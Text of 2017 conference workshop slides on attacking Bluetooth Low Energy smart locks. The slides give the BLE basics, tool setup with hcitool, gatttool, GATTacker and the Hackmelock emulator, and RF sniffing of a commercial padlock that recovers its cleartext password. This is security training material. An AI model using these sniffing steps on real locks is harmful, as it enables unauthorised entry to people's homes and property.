Hacking Bluetooth Smart Locks - workshop

Brucon, Ghent, 5.10.2017
Sławomir Jasek - short: Sławek [suaveck]

Enjoy appsec (dev, break, build...) since 2003.

Pentesting, consultancy, training - web, mobile, embedded...

Significant part of time for research.
Special guest: Damien Cauquil

Head of R&D, Econocom Digital Security

Senior security researcher

HW/SW reverse-engineer

Author of BtleJuice tool
How about you?

Kali Linux?

Wireshark?

Android mobile app decompilation/analysis?

Bluetooth?
Agenda

BLE 101 introduction

7 smart locks, various attacks & assessment techniques

• Passive sniffing, active interception, attacking services...
• We’ll stay a little longer for the first lock (various techniques)
• Mostly „application” layer vulns
• Hackmelock – possible to practice at home
BLUETOOTH SMART
Bluetooth Smart?

AKA Bluetooth 4, Bluetooth Low Energy

One of most exploding recently IoT technologies.

Completely different than previous Bluetooth 2, 3 (BR/EDR).

Designed from the ground up for low energy usage, simplicity (rather than throughput).
HidrateMe Smart Water Bottle

HidrateMe, a connected water bottle that tracks your water intake and glows to make sure that you never forget to drink your water again.

Created by
Hidrate, Inc.

8,015 backers pledged $627,844 to help bring this project to life.
It’s magic...

AUTOMATIC

IT KNOWS WHAT’S INSIDE
It’s not magic, but close to it. The Vessyl knows and aggregates the makeup of everything you drink. No more guessing or journaling. It keeps track of what’s important to you... all automatically.
When you have the power to change the way you feel, it changes everything.
Figure 1. The breakout board with (b) tri-axial accelerometer and (a)(c) sensor embedded denture.

The “Lover Detection System” will not only tell you if your partner is being unfaithful, but the speed, duration, and position of the infidelity.
Sex toys...

Screwdriying. Locating and exploiting smart adult toys

The Internet Of Dongs Project
Hacking Sex Toys For Security And Privacy


https://internetofdon.gs/
Startups

1. Come out with a bright idea where to put a chip in.
2. Buy BLE devkit, some soldering, integrate mobile app
3. Convincing website + video (bootstrap)
4. **Crowdfunding**!
5. Profit!

http://southpark.cc.com/full-episodes/s18e01-go-fund-yourself
ECG signals could replace online banking passwords following a successful trial by Halifax.

A proof of concept experiment used an ECG band to record a person's cardiac rhythm, which could then be used to login to an online banking service. An electrocardiogram or ECG is the unique rhythm of a heartbeat and, unlike a text password or fingerprint, it is incredibly difficult to fake.
Medical & Health

 Millions of devices and counting

There are already more than 40 million Bluetooth® enabled home and professional healthcare devices on the market from leading manufacturers like 3M, A&D, Nonin and Omron. With Bluetooth Smart and Bluetooth Smart Ready devices exploding on the market, soon there will be millions more.

http://www.bluetooth.com/Pages/Medical.aspx
Smart locks, banking tokens, ...
Bluetooth Smart – bright future of IoT?

Easy to deploy, available, convenient, low-priced.
More and more devices – "wearables", medical, smart home...
Beacons boom, indoor positioning
Physical web
Bluetooth Mesh
Web bluetooth – devices available from the browser (API)
IPv6 over Bluetooth Smart
Bluetooth 5 is the future.

- 2x speed
- 4x range
- 8x data
- + wireless coexistence
Hacking challenge – steal a car!
WHAT’S OUT THERE?

ADVERTISEMENTS
BLE broadcast -> receive

advertisement

Public, by design available for all in range
(with exception of targeted advertisements, not widely used in practice)
**Mobile apps**

**Android:**
nRF Connect for Mobile

**iOS:**
nRF Connect for Mobile

LightBlue
Linux

BlueZ, command-line tools, scripting languages...
Hardware: BLE USB dongle

CSR8510 – most common, good enough, ~ 5 EUR

Other chips (often built in laptops)
- Intel, Broadcom, Marvell...
- May be a bit unstable (e.g. with MAC address change)

Power:
- Class II – 2.5 mW, 10m range – most common
- Class I – 100 mW, 100 m range – more expensive, actually not necessary
Turn off sharing Bluetooth devices with host
Check device support for BLE

root@kali:~# hciconfig
hci0: Type: BR/EDR   Bus: USB
      BD Address: 54:4A:16:5D:6F:41  ACL MTU: 310:10  SCO MTU: 64:8
      UP RUNNING
      RX bytes:568 acl:0 sco:0 events:29 errors:0
      TX bytes:357 acl:0 sco:0 commands:30 errors:1

root@kali:~#: hciconfig hci0 up
root@kali:~# hciconfig hci0 version
hci0: Type: BR/EDR   Bus: USB
      BD Address: 54:4A:16:5D:6F:41  ACL MTU: 310:10  SCO MTU: 64:8
      HCI Version: 4.0 (0x6) Revision: 0x22bb
      LMP Version: 4.0 (0x6) Subversion: 0x22bb
      Manufacturer: Cambridge Silicon Radio (10)
Kali Linux: BlueZ – scanning for advertisements

```
# hcitool -i hci0 lescan
F4:B8:5E:C0:6E:A5  Padlock!
F4:B8:5E:C0:6E:A5  Padlock!
F4:B8:5E:C0:6E:A5  (unknown)
F0:D0:41:05:F7:EF  EST
DC:C2:99:2C:3E:17  (unknown)
DC:C2:99:2C:3E:17  EST
F0:D0:41:05:F7:EF  (unknown)
F0:D0:41:05:F7:EF  EST
EC:FE:7E:13:9F:95  (unknown)
EC:FE:7E:13:9F:95  LockECFE7E139F95
DC:C2:99:2C:3E:17  (unknown)
DC:C2:99:2C:3E:17  EST
EC:FE:7E:13:9F:95  (unknown)
EC:FE:7E:13:9F:95  LockECFE7E139F95
```
Dump raw packets

```
# hcidump -i hci0 -X -R
```

![Image of hcidump output](image-url)
Host Controller Interface

Linux (BlueZ), Android...

# hcidump
Hcidump

Dumps commands and data exchanged between host OS and adapter firmware.

You will see only public advertisements and data exchanged with your host.

Does not dump raw RF packets.
Dump to pcap (readable in Wireshark)

Start packet dump to file:

```bash
# hcidump -i hci0 -w dump.pcap
```

Open the pcap in Wireshark:

```bash
# wireshark dump.pcap
```
Example advertising data in Wireshark hcidump

Start scan command sent to adapter

Data exchanged between host (OS) and controller (BLE adapter)

Advertising data received from BLE adapter
Devices broadcast data formatted according to „Generic Access Profile“ specification, for example („header” values):

0x09 «Complete Local Name»

0x16 «Service Data»

0xFF «Manufacturer Specific Data»

https://www.bluetooth.org/en-us/specification/assigned-numbers/generic-access-profile
Generic Access Profile

Assigned numbers are used in GAP for inquiry response, EIR data type values, manufacturer-specific data, advertising data, low energy UUIDs and appearance characteristics, and class of device.

| BR Data Type, Advertising Data Type (AD Type) and CCK Data Type Definitions |
|---------------------------------|---------------------------------|---------------------------------|
| Data Type                       | Data Type Name                  | Reference for Definition |
| 0x01                            | #Flag                          | Bluetooth Core Specification Vol. 3, Part C, section 8.13 [v2.1 + EDR, 3.0 + HS section 1.3] |
| 0x02                            | #Incomplete List of 16-bit Service Class UUIDs | Bluetooth Core Specification Vol. 3, Part C, section 8.11 [v2.1 + EDR, 3.0 + HS section 1.1] |
| 0x03                            | #Complete List of 16-bit Service Class UUIDs | Bluetooth Core Specification Vol. 3, Part C, section 8.11 [v2.1 + EDR, 3.0 + HS section 1.1] |
| 0x04                            | #Incomplete List of 32-bit Service Class UUIDs | Bluetooth Core Specification Vol. 3, Part C, section 8.11 [v2.1 + EDR, 3.0 + HS section 1.1] |
| 0x05                            | #Complete List of 32-bit Service Class UUIDs | Bluetooth Core Specification Vol. 3, Part C, section 8.11 [v2.1 + EDR, 3.0 + HS section 1.1] |
| 0x06                            | #Incomplete List of 128-bit Service Class UUIDs | Bluetooth Core Specification Vol. 3, Part C, section 8.11 [v2.1 + EDR, 3.0 + HS section 1.1] |
| 0x07                            | #Complete List of 128-bit Service Class UUIDs | Bluetooth Core Specification Vol. 3, Part C, section 8.11 [v2.1 + EDR, 3.0 + HS section 1.1] |
| 0x08                            | #Shortened Local Names          | Bluetooth Core Specification Vol. 3, Part C, section 8.12 [v2.1 + EDR, 3.0 + HS section 1.2] |
| 0x09                            | #Complete Local Names           | Bluetooth Core Specification Vol. 3, Part C, section 8.12 [v2.1 + EDR, 3.0 + HS section 1.2] |
Example advertised data as seen in nRF Connect

0x09 Complete Local Name

0x736D61... „smartlockpick”
### Advertisement details in Wireshark: local name 0x09

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>9</td>
<td>1.129695</td>
<td>controller</td>
<td>host</td>
<td>HCI_EVT</td>
<td>22</td>
<td>Rcvd LE Meta (LE Advertising)</td>
</tr>
<tr>
<td>10</td>
<td>1.124758</td>
<td>controller</td>
<td>host</td>
<td>HCI_EVT</td>
<td>38</td>
<td>Rcvd LE Meta (LE Advertising)</td>
</tr>
<tr>
<td>11</td>
<td>1.130761</td>
<td>controller</td>
<td>host</td>
<td>HCI_EVT</td>
<td>46</td>
<td>Rcvd LE Meta (LE Advertising)</td>
</tr>
<tr>
<td>12</td>
<td>1.134763</td>
<td>controller</td>
<td>host</td>
<td>HCI_EVT</td>
<td>46</td>
<td>Rcvd LE Meta (LE Advertising)</td>
</tr>
<tr>
<td>13</td>
<td>1.521838</td>
<td>controller</td>
<td>host</td>
<td>HCI_EVT</td>
<td>48</td>
<td>Rcvd LE Meta (LE Advertising)</td>
</tr>
<tr>
<td>14</td>
<td>1.525618</td>
<td>controller</td>
<td>host</td>
<td>HCI_EVT</td>
<td>33</td>
<td>Rcvd LE Meta (LE Advertising)</td>
</tr>
<tr>
<td>15</td>
<td>1.622834</td>
<td>controller</td>
<td>host</td>
<td>HCI_EVT</td>
<td>22</td>
<td>Rcvd LE Meta (LE Advertising)</td>
</tr>
</tbody>
</table>

**BD ADDR:** BlueOne_13:9f:95 (ec:fe:7e:13:9f:95)
Data Length: 18
- **Advertising Data**
  - **Device Name:** LockECFE7E139F95
    - Length: 17

**Type:** Device Name (0x09)
**Device Name:** LockECFE7E139F95
**RSSI (dB):** -77
Bleah

https://github.com/evilsocket/bleah/
https://www.evilsocket.net/2017/09/23/This-is-not-a-post-about-BLE-introducing-BLEAH/
# bleah

@ Scanning for 5s [-128 dBm of sensitivity] ...

**ec:fe:7e:13:9f:95 (-75 dBm)**
- **Vendor**: BlueRadios
- **LE General Discoverable, BR/EDR**
- **LockECF7E139F95**
  - u'c010182b12d6185cc6af865556c143fc14cb3e7'

**f0:c7:7e:16:2e:8b (-74 dBm)**
- **Vendor**: Texas Instruments
- **LE General Discoverable, BR/EDR**
  - u'e0ff'
  - **Smartlock**

**d0:39:72:c3:a8:1e (-52 dBm)**
- **Vendor**: Texas Instruments
- **LE General Discoverable, BR/EDR**
  - u'f0ff'
  - D03972C3A81E!
  - D03972C3A81E!
  - u'80'!
  - u'2800800c'
Introducing GATTacker – gattack.io

Open source
Node.js
Websockets
Modular design
Json
.io website

And a cool logo!
Install in Kali – step 1: install npm (already in VM)

root@kali:~# apt-get install npm nodejs nodejs-legacy
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
(...) 
0 upgraded, 55 newly installed, 0 to remove and 0 not upgraded.
Need to get 4,603 kB of archives.
After this operation, 18.1 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Install in Kali – step 2 (already in VM)

root@kali:~# npm install gattacker

(...)

gattacker@0.1.3 node_modules/gattacker
  ├── bplist-parser@0.0.6
  │    ├── blit@1.0.3
  │    ├── bplist@0.0.6
  │    └── node-getopt@3.2.1
  └── env2@2.1.1

├── node-getopt@0.2.3
├── colors@1.1.2
├── debug@2.2.0 (ms@0.7.1)
├── ws@1.1.1 (options@0.0.6, ultron@1.0.2)
├── glob@7.1.1 (path-is-absolute@1.0.1, inherits@2.0.3, fs.realpath@1.0.0, inflight@1.0.6, once@1.4.0, minimatch@3.0.3)
├── async@2.1.2 (lodash@4.16.4)
└── bluetooth-hci-socket@0.4.4 (nan@2.4.0)
Step 1 – run ws-slave module
Running the ws-slave (client)

$ cd node_modules/gattacker

$ ~/node_modules/gattacker $ sudo node ws-slave.js

GATTacker ws-slave
Step 2 – scan (connecting to ws-slave)

Advertisement
- JSON

ws-slave.js

advertisement

scan.js
Scan for advertisements

root@kali:~/node_modules/gattacker# node scan.js

Ws-slave address: 127.0.0.1

on open

poweredOn

Start scanning.
scan.js

# node scan.js

- listens for all advertisements,
- saves them automatically to JSON files (devices/ subdir).
Example lock advertisement

peripheral discovered (f4b85ec06ea5 with address <f4:b8:5e:c0:6e:a5, public>, connectable true, RSSI -72:
    Name: Padlock!
    EIR: 0201050302d6ff09095061646c6f636b21 (Padlock!)
    Scan response: 13ff00000000000000000000000000000000000000000002c31 (,1)

advertisement saved: devices/f4b85ec06ea5_Padlock-.adv.json
Json files (devices/ subfolder) - advertisement

```
{
  "id": "f4b85ec06ea5",
  "eir": "0201050302d6ff09095061646c6f636b21",
  "scanResponse": null,
  "decodedNonEditable": {
    "localName": "Padlock!",
    "manufacturerDataHex": null,
    "manufacturerDataAscii": null,
    "serviceUuids": [
      "ffd6"
    ]
  }
}
```

Raw hex data (according to BLE spec), used later

Decoded, just for display (editing it will not have any effect)
CENTRAL-PERIPHERAL
BLE central <-> peripheral
Introducing BLE Hackmelock
Open-source

Installation, more info:

https://smartlockpicking.com/hackmelock

Source code (device emulator + Android app):

https://github.com/smartlockpicking/hackmelock-device/

https://github.com/smartlockpicking/hackmelock-android/
Install emulator device

Emulated device (already in your VM/Raspberry):

$ npm install hackmelock
Run emulator device

$ cd node_modules/hackmelock

$ sudo node peripheral

advertising...

If you don’t see that, your adapter may be down
In configuration mode, it advertises iBeacon

Major/Minor=1
Check your device BT MAC

pi@raspberrypi:~ $ hciconfig

hci0:    Type: BR/EDR   Bus: UART

    BD Address: B8:27:EB:08:88:0E   ACL MTU: 1021:8
    SCO MTU: 64:1

    UP   RUNNING

    RX bytes:1001 acl:0 sco:0 events:74 errors:0
    TX bytes:2818 acl:0 sco:0 commands:74 errors:0
Connect to it from Kali - gatttool

root@kali:~# systemctl start bluetooth

root@kali:~# gatttool -I -b B8:27:EB:08:88:0E


Attempting to connect to B8:27:EB:08:88:0E

Connection successful

[B8:27:EB:08:88:0E][LE] >
Services, characteristics, ...

Service – groups several characteristics

Characteristic – contains a single value

Descriptor – additional data

Properties – read/write/notify...

Value – actual value
UUIDs

Services, characteristics, descriptors have 2 forms of ID:

• Typical services (e.g. battery level, device information) use short UUID values defined in the Bluetooth specification

• 16-byte UUID format – for proprietary, vendor-specific ones
Typical IDs

Common typical short service IDs:
0x180F – Battery service
0x180A – Device information (manufacturer name, model number...)

Typical Descriptor IDs:
0x2901 – text description
0x2902 – subscription status

https://www.bluetooth.com/specifications/gatt/services
List all hackmelock services

[B8:27:EB:60:2B:46][LE] > primary

Typical service (short + typical UUID „tail”)

Proprietary service (16-byte UUID)
Hackmelock services in nRF Connect

SERVICE, eg. 0x180F - battery
### Characteristics

```
[B8:27:EB:60:2B:46][LE]> characteristics
handle: 0x0002, char properties: 0x02, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb0000
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb0000
handle: 0x0007, char properties: 0x20, char value handle: 0x0008, uuid: 00002a02-0000-1000-8000-00805f9b34fb0000
handle: 0x000b, char properties: 0x08, char value handle: 0x000c, uuid: 6834636b-6d33-4c30-634b-436852436d44
handle: 0x000e, char properties: 0x30, char value handle: 0x000f, uuid: 6834636b-6d33-4c30-634b-436852436d44
handle: 0x0012, char properties: 0x32, char value handle: 0x0013, uuid: 6834636b-6d33-4c30-634b-436852537434
```

```
Hackmelock characteristics

SERVICE, eg. 0x180F - battery

Characteristic

Properties: read, write, notify
(authenticated or not)
Reading, writing, notifications

Each characteristic has properties: read/write/notify

Can be combined (e.g. read+notify, read+write)

Read/write – transmit single value
Notifications

- Getting more data or receiving periodic updates from a device
- The central device subscribes for a specific characteristic, and the peripheral device sends data asynchronously
- Indication = notification with confirm
Descriptors

0x2901 – optional text description of characteristic (e.g. „Log history”, „Password”, ...)

0x2902 – current status of subscription to notifications
All the characteristics, descriptors, services


Low level: everything (service, characteristic, descriptor, ...) is „attribute“, with a handle numbered from 1
Reading characteristics

Read value from characteristic, using handle

\[[B8:27:EB:60:2B:46][LE] > char-read-hnd 0x03\]

Characteristic value descriptor: 72 61 73 70 62 65 72 72 79 70 69

ascii hex
Burp: Decoder->Decode as->ASCII hex

```
72 61 73 74 65 64 65 72 72 79 70 65
```

```
raspberry pi
```
ENOUGH FOR INTRO, LET’S GET BACK TO HACKING
Hacking challenge – steal a car!
How do we hack it?

central  BLE  peripheral

Passive sniffing?
Bluetooth 4 security (specification)

Pairing

Key Generation

Encryption

Encryption in Bluetooth LE uses AES-CCM cryptography. Like BR/EDR, the LE Controller will perform the encryption function. This function generates 128-bit encryptedData from a 128-bit key and 128-bit plaintextData using the AES-128-bit block cypher as defined in FIPS-1971.

Signed Data

Bluetooth 4 security (specification)

„The goal of the low energy security mechanism is to protect communication between devices at different levels of the stack.”

• Man-in-the-Middle (MITM)
• Passive Eavesdropping
• Privacy/Identity Tracking
Bluetooth 4.0 - pairing

Pairing (once, in a secure environment)
  - **JustWorks** (R) – most common, devices without display cannot implement other
  - 6-digit PIN – if the device has a display
  - Out of band – not yet spotted in the wild

Establish Long Term Key, and store it to secure future communication ("bonding")

"*Just Works and Passkey Entry do not provide any passive eavesdropping protection*

4.2 – elliptic curves

Mike Ryan, [https://www.lacklustre.net/bluetooth/](https://www.lacklustre.net/bluetooth/)
BLE security - practice

• 8 of 10 tested devices do not implement BLE-layer encryption
• The pairing is in OS level, mobile application does not have full control over it
• It is troublesome to manage with requirements for:
  • Multiple users/application instances per device
  • Access sharing
  • Cloud backup
• Usage scenario does not allow for secure bonding (e.g. public cash register, "fleet" of beacons, car rental)
• Other hardware/software/UX problems with pairing
• "Forget" to do it, or do not consider clear-text transmission a problem
For our workshop...

None of the 7 smart locks uses BLE link-layer encryption ;}
BLE security - practice

Security in "application" layer (GATT)

Various authentication schemes
- Static password/key
- Challenge-response (most common)
- "PKI"

Requests/responses encryption
No single standard, library, protocol
Own crypto, based usually on AES
How Secure is [redacted]?

[redacted] uses a combination of hardware and technology to ensure the device is secure.

**Bluetooth:** [redacted] uses AES 128-bit encryption, the same encryption used by the military to protect documents with confidential and secret security levels.

By using industry leading Bluetooth 4.0 that utilizes 128-bit encryption, and our very own PKI technology with cryptographic key exchange protocols, [redacted] is safe from criminals, hackers, and thieves.

To protect your transactions from unauthorised access by third parties, [redacted] operates in accordance with the highest card payment industry security standards.

- **PCI-DSS** (Payment Card Industry Data Security Standard) is the highest card payment security standard used in the credit card industry concerning data transfer and data storage.
- **SSL** (Secure Sockets Layer) and **TLS** (Transport Layer Security) are ‘encryption protocols’ that protect data that is transmitted over the internet. We are using a 256-bit encryption, the highest possible level at present.
- **PGP** (Pretty Good Privacy) is an international standard for secure personal data storage.

After 87 years of home security innovations, millions of families rely on [redacted] for peace of mind. [redacted]’s long-time leadership and advancements in residential door lock security have now been enhanced with secure authentication technology. Resulting in [redacted] engineered for both maximum security and performance.
No more questions...
BLE RF SNIFFING
Sniffing – BLE RF essentials

Advertisement channels

BLE channel hopping

37 channels for data,

3 for advertisements

Hopping

- Hop along 37 data channels
- One data packet per channel
- Next channel = channel + hop increment (mod 37)
- Time between hops: hop interval

3 → 10 → 17 → 24 → 31 → 1 → 8 → 15 → ...

hop increment = 7

Pro devices ($$$) – scan whole spectrum

Ellisys Bluetooth Explorer 400
All-in-One Bluetooth® Protocol Analysis System
http://www.ellisys.com/products/bex400/

ComProbe BPA® 600 Dual Mode Bluetooth® Protocol Analyzer
Passive sniffing – Ubertooth (120$)

Open-source (software, hardware).

External antenna.

RF-level sniffing, possible to inspect in Wireshark.

Need 3 of them to sniff all 3 adv channels, then follow hopping.

http://greatscottgadgets.com/ubertoothone/
Adafruit nRF51822

$24.95

Wireshark integration

Not quite reliable, but works good enough

https://www.adafruit.com/product/2269
https://learn.adafruit.com/introducing-the-adafruit-bluefruit-le-sniffer

Since nRF-Sniffer is a passive solution that is simply scanning packets over the air, there is the possibility of missing packets using this tool (or any other passive sniffing solution). In order to capture as many packets as possible, be sure to run the sniffer on a USB bus that isn't busy and avoid running it in a virtual machine since this can introduce significant latency over USB.
Our sniffing device - nRF51822 Eval Kit

Same module, but a bit cheaper than Adafruit.

More possibilities for further hacking (e.g. BLE prototyping).

Need to be flashed with sniffer firmware – using e.g. SWD debugger, or Raspberry Pi (instructions soon on www.smartlockpicking.com).

http://www.waveshare.com/nrf51822-eval-kit.htm
BTW

This chip can do much more. Check Damien’s talk:

http://files.brucon.org/2017/012_Damien_Cauquil_Weaponizing_the_BBC_Micro_Bit.pdf

https://www.youtube.com/watch?v=Z_eipXeC4Q4
Lock #1
The **PADLOCK**
BLUETOOTH + RFID

The **DOORLOCK**
BLUETOOTH + RFID

**PRIVACY** when you *WANT* it,
**SECURITY** when you *NEED* it.

https://www.thequicklock.com
Setting up the sniffer – connect to USB

root@kali:~# dmesg
(...)
[25958.451531] usb 2-2.2: new full-speed USB device number 10 using uhci_hcd
[25958.707592] usb 2-2.2: New USB device found, idVendor=10c4, idProduct=ea60
[25958.707596] usb 2-2.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[25958.707598] usb 2-2.2: Product: CP2102 USB to UART Bridge Controller
[25958.707600] usb 2-2.2: Manufacturer: Silicon Labs
[25958.707601] usb 2-2.2: SerialNumber: 0001
[25958.713131] cp210x 2-2.2:1.0: cp210x converter detected
[25958.717133] usb 2-2.2: cp210x converter now attached to ttyUSB0
The python helper script (already in your VM)

root@kali:~# git clone
https://github.com/adafruit/Adafruit_BLESniffer_Python
The python helper script

root@kali:~# cd Adafruit_BLESniffer_Python
root@kali:~/Adafruit_BLESniffer_Python# python sniffer.py /dev/ttyUSB0
Capturing data to logs/capture.pcap
Connecting to sniffer on /dev/ttyUSB0
Scanning for BLE devices (5s) ...
Choose „Padlock!” device

```
root@kali:~:/Adafruit_BLESniffer_Python# python sniffer.py /dev/ttyUSB0
Capturing data to logs/capture.pcap
Connecting to sniffer on /dev/ttyUSB0
Scanning for BLE devices (5s) ... 
Found 5 BLE devices:

[1] "" (F0:C7:7F:16:2E:8B, RSSI = -87)
[5] "Padlock!" (F4:B8:5E:C0:6E:A5, RSSI = -77)
```

Select a device to sniff, or '0' to scan again
> 5
Attempting to follow device F4:B8:5E:C0:6E:A5
Dump pcap file

Adafruit_BLESniffer_Python/logs/capture.pcap

Previously recorded in provided files:
devices/quicklock/pcap_nrf/capture.pcap
Wireshark support

Official nRF sniffer docs: only Windows, patch DLL, ...

Fortunately: native support in Wireshark > 2.3

Current version in Kali Linux, supports nRF capture
Wireshark – by default does not decode it
Edit->Preferences->Protocols->DLT_USER->Edit->create new entry (+)
Choose „DLT=157” and enter „nordic_ble” (already in your VM)
Continuously get packets in Wireshark from capture file

```
# wireshark -k -i <(tail -c +0 -F capture.pcap)
```

Ready script:

```
root@kali:~/Adafruit_BLESniffer_Python# ./wireshark.sh
```

If you don’t have sniffer, open already prerecorded file:

```
devices/quicklock/pcap_nrf/capture.pcap
```
Tons of advertisements
Wireshark - filter only relevant packets

\[ \text{btle.data_header.length} > 0 \quad || \quad \text{btle.advertising_header.pdu_type} == 0x05 \]

- Non-empty data
- Connection request

Source: https://github.com/greatscottgadgets/ubertooth/wiki/Capturing-BLE-in-Wireshark

Other simple filter (only data): btatt
Wireshark filter (file: quicklock/pcap_nrf/capture)
Upon initiating connection

Smartphone first checks available services, characteristics, descriptors.
Checking available services, characteristics, descriptors

<table>
<thead>
<tr>
<th>N-2</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>103.55</td>
<td>35</td>
<td>Slave 0x54874e9</td>
<td>Master 0x54874e9</td>
<td>ATT</td>
<td>Sent Find Information Request, Handles: 0x0031..0x0032</td>
</tr>
<tr>
<td>103.60</td>
<td>40</td>
<td>Master 0x54874e9</td>
<td>Slave 0x54874e9</td>
<td>ATT</td>
<td>Rcvd Find Information Response, Handle: 0x0031 (Unknown: Unknown: Client Characterist...</td>
</tr>
<tr>
<td>103.65</td>
<td>35</td>
<td>Slave 0x54874e9</td>
<td>Master 0x54874e9</td>
<td>ATT</td>
<td>Sent Find Information Request, Handles: 0x0035..0x0035</td>
</tr>
<tr>
<td>103.70</td>
<td>35</td>
<td>Master 0x54874e9</td>
<td>Slave 0x54874e9</td>
<td>ATT</td>
<td>Sent Find Information Request, Handle: 0x0035 (Unknown: Unknown: Characteristic User...</td>
</tr>
<tr>
<td>103.74</td>
<td>35</td>
<td>Slave 0x54874e9</td>
<td>Master 0x54874e9</td>
<td>ATT</td>
<td>Sent Find Information Request, Handle: 0x0038 (Unknown: Unknown: Characteristic User...</td>
</tr>
<tr>
<td>103.79</td>
<td>35</td>
<td>Master 0x54874e9</td>
<td>Slave 0x54874e9</td>
<td>ATT</td>
<td>Sent Find Information Request, Handles: 0x0038..0x0038</td>
</tr>
<tr>
<td>103.84</td>
<td>40</td>
<td>Slave 0x54874e9</td>
<td>Master 0x54874e9</td>
<td>ATT</td>
<td>Rcvd Find Information Response, Handle: 0x003b (Unknown: Unknown: Client Characterist...</td>
</tr>
<tr>
<td>103.89</td>
<td>37</td>
<td>Master 0x54874e9</td>
<td>Slave 0x54874e9</td>
<td>ATT</td>
<td>Sent Read By Type Request, GATT Include Declaration, Handles: 0x003d..0xffff</td>
</tr>
<tr>
<td>103.94</td>
<td>35</td>
<td>Slave 0x54874e9</td>
<td>Master 0x54874e9</td>
<td>ATT</td>
<td>Sent Error Response - Attribute Not Found, Handle: 0x003d, Handle: 0x003d (Unknown)</td>
</tr>
</tbody>
</table>

Frame 934: 35 bytes on wire (280 bits), 35 bytes captured (280 bits)
DLT: 157, Payload: nordic_ble (Nordic BLE Sniffer)
- Nordic BLE Sniffer
- Bluetooth Low Energy Link Layer
- Bluetooth L2CAP Protocol
- Bluetooth Attribute Protocol
- specifics: Find Information Request (0x64)

0... .... = Authentication Signature: False
0... .... = Command: False
00 01 00 = Method: Find Information Request (0x04)
Starting Handle: 0x0031
Ending Handle: 0x0032

0000 76 6b 6c 01 c7 07 06 08 03 07 35 47 00 ef bc 09 V........56....
0010 00 e9 44 87 54 02 09 05 00 04 00 04 31 00 32 00 ........1.2.
0020 12 d9 d2
Write request – smartphone sends data to device
Filter only write requests

Find write packet, right click on Opcode (Write Request) and apply as filter
Filter only writes: btatt.opcode == 0x12

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>978</td>
<td>194.626819</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>35</td>
<td>Sent Write Request, Handle: 0x0931 (Unknown: Unknown:</td>
</tr>
<tr>
<td>995</td>
<td>195.004517</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>35</td>
<td>Sent Write Request, Handle: 0x0943 (Unknown: Unknown:</td>
</tr>
<tr>
<td>1087</td>
<td>195.357666</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>48</td>
<td>Sent Write Request, Handle: 0x0946 (Unknown: Unknown:</td>
</tr>
<tr>
<td>1029</td>
<td>195.893564</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>37</td>
<td>Sent Write Request, Handle: 0x0928 (Unknown: Current T</td>
</tr>
<tr>
<td>1051</td>
<td>196.430273</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>42</td>
<td>Sent Write Request, Handle: 0x082d (Unknown: Unknown:</td>
</tr>
<tr>
<td>1083</td>
<td>197.101542</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>35</td>
<td>Sent Write Request, Handle: 0x093b (Unknown: Unknown:</td>
</tr>
<tr>
<td>1117</td>
<td>197.990031</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>34</td>
<td>Sent Write Request, Handle: 0x0937 (Unknown: Unknown:</td>
</tr>
</tbody>
</table>

Frame 1051: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)
DLT: 157, Payload: nordic_ble (Nordic BLE Sniffer)
Nordic BLE Sniffer
Bluetooth Low Energy Link Layer
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol

**Opcode: Write Request (0x12)**

| 0... ..... | = Authentication Signature: False
| 0... ..... | = Command: False
| .01 0010   | = Method: Write Request (0x12)
| Handle: 0x082d: Unknown |

0000 76 06 23 01 3c 08 66 0a 03 04 3b 82 09 37 bd 00
0010 09 e9 44 87 54 0c 10 0c 00 04 00 12 2d 00 09 12
0020 34 56 78 00 00 60 85 d9 db

v.##...###...7...
..d.t...###..7...
4v....
Gotcha!

12345678 – cleartext password
Other filters: only specific characteristic

Right-click on UUID
Specific characteristic: btatt.uuid16 ==

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>0101 163.165284</td>
<td>Slave_0x545744e9</td>
<td>Master_0x545744e9</td>
<td>ATT</td>
<td>53</td>
<td>Recvd Read By Type Response, Attribute List Length: 3, U</td>
<td></td>
</tr>
<tr>
<td>0103 165.439275</td>
<td>Master_0x545744e9</td>
<td>Slave_0x545744e9</td>
<td>ATT</td>
<td>42</td>
<td>Send Write Request, Handle: 0x000d (Unknown: Unknown)</td>
<td></td>
</tr>
<tr>
<td>0105 166.482434</td>
<td>Slave_0x545744e9</td>
<td>Master_0x545744e9</td>
<td>ATT</td>
<td>31</td>
<td>Recvd Write Response, Handle: 0x000d (Unknown: Unknown)</td>
<td></td>
</tr>
</tbody>
</table>

- Frame 1651: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)
- DLT: 157, Payload: nordic_ble (Nordic BLE Sniffer)
- Nordic BLE Sniffer
- Bluetooth Low Energy Link Layer
- Bluetooth L2CAP Protocol
- Bluetooth Attribute Protocol
  - Opcode: Write Request (0x12)
  - Handle: 0x000d: Unknown

